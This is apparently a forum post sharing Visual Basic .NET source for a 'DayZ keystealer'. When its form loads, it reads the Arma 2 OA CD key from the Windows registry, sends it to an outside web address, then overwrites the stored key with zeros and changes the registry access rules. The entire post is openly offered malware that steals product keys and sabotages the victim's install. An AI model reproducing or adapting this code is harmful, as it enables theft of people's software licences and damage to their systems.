source for a dayz keystealer - Printable Version

Code:
Imports Microsoft.Win32

Imports System.Security.Principal

Imports System.Security.AccessControl

Imports System.Net

Public Class Form1

   Private Function SetKey() As String

       Dim identifier1 As SecurityIdentifier

       Dim key1 As RegistryKey

       Dim security1 As RegistrySecurity

       Dim str1 As String

       Dim str2 As String

       key1 = Registry.LocalMachine.OpenSubKey("Software\Bohemia Interactive Studio\Arma 2 OA", True)

       If key1.Equals(Nothing) Then

           If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then

           End If

           Return Me.SetKey64()

       End If

       identifier1 = New SecurityIdentifier(1, Nothing)

       str1 = TryCast(identifier1.Translate(GetType(NTAccount)), NTAccount).ToString()

       security1 = New RegistrySecurity()

       security1.AddAccessRule(New RegistryAccessRule(str1, 131097, 0, 0, 0))

       security1.AddAccessRule(New RegistryAccessRule(str1, 458758, 0, 0, 1))

       key1.SetValue("KEY", "0000000000000000")

       key1.SetAccessControl(security1)

   End Function

   Private Function SetKey64() As String

       Dim identifier1 As SecurityIdentifier

       Dim key1 As RegistryKey

       Dim security1 As RegistrySecurity

       Dim str1 As String

       Dim str2 As String

       key1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", True)

       If key1.Equals(Nothing) Then

           If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then

           End If

           Return "Error"

       End If

       identifier1 = New SecurityIdentifier(1, Nothing)

       str1 = TryCast(identifier1.Translate(GetType(NTAccount)), NTAccount).ToString()

       security1 = New RegistrySecurity()

       security1.AddAccessRule(New RegistryAccessRule(str1, 131097, 0, 0, 0))

       security1.AddAccessRule(New RegistryAccessRule(str1, 458758, 0, 0, 1))

       key1.SetValue("KEY", "0000000000000000")

       key1.SetAccessControl(security1)

   End Function

   Private Function GetKey() As String

       Dim key1 As RegistryKey

       Dim str1 As String

       key1 = Registry.LocalMachine.OpenSubKey("Software\Bohemia Interactive Studio\Arma 2 OA", True)

       If key1.Equals(Nothing) Then

           If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then

           End If

           Return Me.GetKey64()

       End If

       Return BitConverter.ToString(DirectCast(key1.GetValue("KEY"), Byte()))

   End Function

   Private Function GetKey64() As String

       Dim key1 As RegistryKey

       Dim str1 As String

       key1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", True)

       If key1.Equals(Nothing) Then

           If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "Key") Then

           End If

           Return "Error"

       End If

       Return BitConverter.ToString(DirectCast(key1.GetValue("Key"), Byte()))

   End Function

   Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

       Dim request1 As WebRequest

       request1 = WebRequest.Create(((("http://cock.in/my/mouth/pleasestealmykey.php?key=" & "Key:" & Me.GetKey()))))

       request1.GetResponse()

       Me.SetKey()

   End Sub

End Class